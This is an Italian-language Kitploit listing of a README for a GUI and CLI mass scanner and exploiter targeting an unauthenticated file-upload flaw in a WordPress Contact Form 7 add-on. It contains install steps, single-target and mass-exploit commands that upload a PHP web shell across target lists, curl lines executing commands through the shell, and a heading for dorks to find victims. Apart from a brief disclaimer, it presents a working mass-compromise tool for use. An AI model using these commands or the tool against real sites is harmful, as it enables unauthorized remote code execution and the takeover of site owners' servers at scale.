Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-82901 — Scanner e sfruttatore di massa con GUI e CLI per CVE-2026-82901, un caricamento arbitrario di file non autenticato nel plugin WordPress Ultra Addons for Contact Form 7. | Kitploit
Strumenti/GitHubGitHub/tonydelouvre/cve-2026-82901
RicognizioneScanner di VulnerabilitàGenerazione di PayloadExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration Testing
GitHubtonydelouvre/cve-2026-82901

CVE-2026-82901

Scanner e sfruttatore di massa con GUI e CLI per CVE-2026-82901, un caricamento arbitrario di file non autenticato nel plugin WordPress Ultra Addons for Contact Form 7.

121 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
Condividi

CVE-2026-82901 — Ultra Addons for Contact Form 7 Mass Exploiter (GUI + CLI)

Uno scanner e strumento di sfruttamento di massa per CVE-2026-82901 — una vulnerabilità di Caricamento Arbitrario di File Non Autenticato (CWE-434, CVSS 3.1 9.8 Critico) nel plugin WordPress Ultra Addons for Contact Form 7 (Themefic), che interessa le versioni ≤ 3.5.50.

Sono fornite due interfacce:

  • GUI (Tkinter) — per l'uso quotidiano con monitoraggio dei risultati in tempo reale.
  • CLI — per automazione, scripting ed esecuzioni di massa headless.

⚠️ Solo test autorizzati. Vedi Disclaimer.


Riepilogo della Vulnerabilità

VoceDettaglio
CVECVE-2026-82901
Pluginultimate-addons-for-contact-form-7 (Ultra Addons for Contact Form 7)
VendorThemefic
ClasseCWE-434 — Caricamento Non Limitato di File con Tipo Pericoloso
Versioni interessate≤ 3.5.50
Versione corretta3.5.51+
CVSS 3.19.8 Critico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AutenticazioneNon richiesta (non autenticato)
Funzione vulnerabileuacf7_wpcf7_mail_components (il modulo PDF Generator)
VettoreCF7 REST POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback con il campo signature
Percorso di scrittura/wp-content/uploads/uacf7-uploads/
ImpattoCaricamento arbitrario di file → RCE quando PHP viene eseguito all'interno della directory uploads
RiferimentiNVD · CVE.org

Condizione di sfruttamento: il modulo PDF Generator deve essere abilitato e il form deve contenere un campo uacf7_signature. Questo modulo è disabilitato per impostazione predefinita, quindi non ogni sito che esegue una versione vulnerabile del plugin è effettivamente sfruttabile.


Funzionalità

  • Fingerprinting del plugin + rilevamento della versione da readme.txt
  • Scoperta automatica delle pagine CF7 (percorsi candidati + sitemap.xml) con verifica del form
  • Rilevamento automatico del nome del campo signature dall'HTML
  • Caricamento multipart verso l'endpoint REST di CF7, con fallback non-REST
  • Verifica dell'esecuzione della shell tramite un marker univoco
  • Modalità check (mappatura) e exploit (caricamento + verifica)
  • Modalità mass multi-thread con file di lista target
  • Supporto per --form-url relativo (/contact/) risolto per ogni target
  • La lista target supporta una seconda colonna opzionale per un percorso form per-target
  • Output: results.jsonl (dettaglio completo) + hits.txt (target riusciti)
  • GUI: tabella dei risultati con colori, log in tempo reale, pulsanti Start/Stop, esportazione CSV

Installazione

git clone https://github.com/tonydelouvre/CVE-2026-82901.git
cd CVE-2026-82901
pip install -r requirements.txt

requirements.txt

requests>=2.31.0
urllib3>=2.0.0

tkinter è incluso in Python. Se manca (Linux): sudo apt install python3-tk.


Utilizzo — GUI

python gui_82901.py

GUI screenshot

Flusso di lavoro:

  1. Inserisci un singolo URL oppure seleziona un file di elenco target (scegline uno).
  2. URL del form: lascia vuoto per l'individuazione automatica, oppure inserisci /contact/ (percorso relativo), oppure un URL assoluto.
  3. Scegli la Modalità: check o exploit.
  4. Regola i thread (inizia con 10), il timeout e il proxy se necessario.
  5. Fai clic su ▶ Start.

Colori delle righe della tabella:

ColoreSignificato
🟩 Verdeshell_verified — successo, la colonna shell è popolata
🟨 Giallovuln_candidate_sig_field — candidato forte
🟥 Rossoerror

Pulsanti di supporto: ■ Stop (arresto sicuro), Clear log, Open hits, Open output, Export CSV.


Utilizzo — CLI

Target singolo

# Fingerprint / candidate detection
python mass_82901.py -u https://target.tld --mode check

# Exploit (upload shell + verify)
python mass_82901.py -u https://target.tld --mode exploit \
    --form-url https://target.tld/contact/ --shell-name wp_82901.php

Modalità massa

# Mass mapping with a uniform form path (relative)
python mass_82901.py -l targets.txt --mode check -j 20 --form-url /contact/

# Mass exploit
python mass_82901.py -l targets.txt --mode exploit -j 10 --form-url /contact/

# Without --form-url -> per-target auto-discovery
python mass_82901.py -l targets.txt --mode exploit -j 10

Formato di targets.txt

# one URL per line
https://a.tld

# optional second column: a per-target form path/URL
https://b.tld    /hubungi-kami/
https://c.tld |  https://c.tld/custom-contact/
https://d.tld ;  /kontak/

Il secondo separatore di colonna può essere TAB, | o ;. Priorità: override per-target > --form-url globale > rilevamento automatico.

Argomenti CLI

ArgomentoPredefinitoDescrizione
-u, --url—URL di base del singolo target
-l, --list—File con la lista dei target
--modecheckcheck o exploit
--form-url—URL assoluto o percorso relativo (/contact/)
--fieldautoNome del campo signature
--shell-namewp_82901.phpNome del file caricato
--verify-url—URL della shell se già nota
-j, --threads10Numero di worker
--timeout25Timeout delle richieste (secondi)
--proxy—Proxy HTTP(S)
--outputcve_2026_82901_results.jsonlFile dei risultati JSONL
--vuln-listhits.txtFile dei target vulnerabili
-q, --quietdisattivatoRiduce l'output

Stati dei risultati

StatoSignificato
not_foundPlugin non rilevato
not_vulnerablePlugin presente, versione > 3.5.50 (corretta)
plugin_found_version_unknownPlugin presente, versione non leggibile
plugin_ok_no_signature_fieldPlugin presente, nessun campo signature → modulo PDF probabilmente disattivato
vuln_candidate_sig_fieldPlugin ≤ 3.5.50 e campo signature presente → candidato forte
plugin_found_no_formPlugin presente, nessun form CF7 trovato
shell_verifiedSuccesso — shell caricata ed eseguita
exploit_inconclusiveTentativo di upload effettuato, verifica fallita
errorEccezione durante l'elaborazione del target

Perché exploit_inconclusive?

Non significa che il target sia sicuro. Cause probabili:

  1. Il modulo PDF Generator è disabilitato (disattivato per impostazione predefinita) — la causa più comune.
  2. CF7 rifiuta il tipo di file/mimetype prima che raggiunga l'handler.
  3. Il percorso di upload utilizza un prefisso timestamp/hash imprevedibile.
  4. Il nome del campo signature non corrisponde alla lista di fallback.
  5. La directory degli upload non esegue PHP (hardening).

Usa la modalità check per filtrare i target con vuln_candidate_sig_field, poi esegui un exploit su singolo target con i corretti --field/--shell-name.


Verifica manuale

Dopo uno stato shell_verified, verifica l'esecuzione:

curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php"
# -> POCBIT-82901-OK

curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php?c=id"
# -> POCBIT-82901-OK
#    uid=33(www-data) gid=33(www-data) groups=33(www-data)

Il marker POCBIT-82901-OK è la stringa utilizzata dallo strumento per validare l'esecuzione.


Ricognizione

Dork per trovare i target (Google / FOFA / Shodan):

Scarica lo strumento